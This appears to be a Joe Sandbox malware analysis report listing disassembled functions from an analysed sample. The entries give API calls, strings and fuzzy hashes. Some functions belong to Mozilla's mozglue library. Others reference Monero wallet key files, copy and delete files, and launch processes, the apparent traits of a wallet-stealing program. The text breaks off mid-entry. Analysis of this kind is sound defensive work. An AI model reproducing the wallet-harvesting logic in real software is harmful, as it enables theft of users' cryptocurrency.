Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 01006630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 01006663

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

ShellExecuteEx.SHELL32(0000003C), ref: 01006726
ExitProcess.KERNEL32 ref: 01006755

Strings

<, xrefs: 010066D9

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: a2b9a96e5a30c39a9f75a70a9664bc182ee3a36aca1812eeff3156684437db6d
Instruction ID: f6c07032da0fd8bb4c925e5ea9fc7b30513cd486b9c7208ed322b16b75aafaec
Opcode Fuzzy Hash: a2b9a96e5a30c39a9f75a70a9664bc182ee3a36aca1812eeff3156684437db6d
Instruction Fuzzy Hash: AE312BB1D01218AAEB15EB90EC94FDEB778AF64300F404199E34AA71C0DF746B48CF65

Function 010087C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01010E28,00000000,?), ref: 0100882F
RtlAllocateHeap.NTDLL(00000000), ref: 01008836
wsprintfA.USER32 ref: 01008850

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Strings

%dx%d, xrefs: 01008847

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: e7cebde52343417ca671fb558efc7f753a0619efc322b403f634781bb052e2e9
Instruction ID: 88b4f9c60c6cbebdb817d179c064616879cc91bf6a42e3071f6ff05fa4cec626
Opcode Fuzzy Hash: e7cebde52343417ca671fb558efc7f753a0619efc322b403f634781bb052e2e9
Instruction Fuzzy Hash: 4C21FEB1A40204AFDB14DF94ED49FAEBBB8FB48711F104119F646E7284C77999018BA0

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 01008D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0100951E,00000000), ref: 01008D5B
RtlAllocateHeap.NTDLL(00000000), ref: 01008D62
wsprintfW.USER32 ref: 01008D78

Strings

%hs, xrefs: 01008D6F

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 0048ef5781aebda0162bb368ab4bd71d618091403b7029c3affba49f2d83c483
Instruction ID: 042bcf8de4d2a0b737501dbc6d17d02749042b964ea0ddb17279f7141353e752
Opcode Fuzzy Hash: 0048ef5781aebda0162bb368ab4bd71d618091403b7029c3affba49f2d83c483
Instruction Fuzzy Hash: F4E08CB0A40208FBD720DB94E80EE6DB7B8EB04702F0000A8FD8AC7244DA719E008B91

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 00FFD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0087BC50,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FFD481
lstrlen.KERNEL32(00000000), ref: 00FFD698
lstrlen.KERNEL32(00000000), ref: 00FFD6AC
DeleteFileA.KERNEL32(00000000), ref: 00FFD72B

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: adff0a18f381daa512ae3ffea34addce2aa3cc90cdec71f2a92e453d725f0a98
Instruction ID: b3b891fae34828d40ed32134ac691b2f92c6b24df706adbc7930845430ba4ff5
Opcode Fuzzy Hash: adff0a18f381daa512ae3ffea34addce2aa3cc90cdec71f2a92e453d725f0a98
Instruction Fuzzy Hash: 5B91E072A10209DBEB16FBA4DD94EEE7338AF74200F504169E597A70D0EF346B49CB61

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

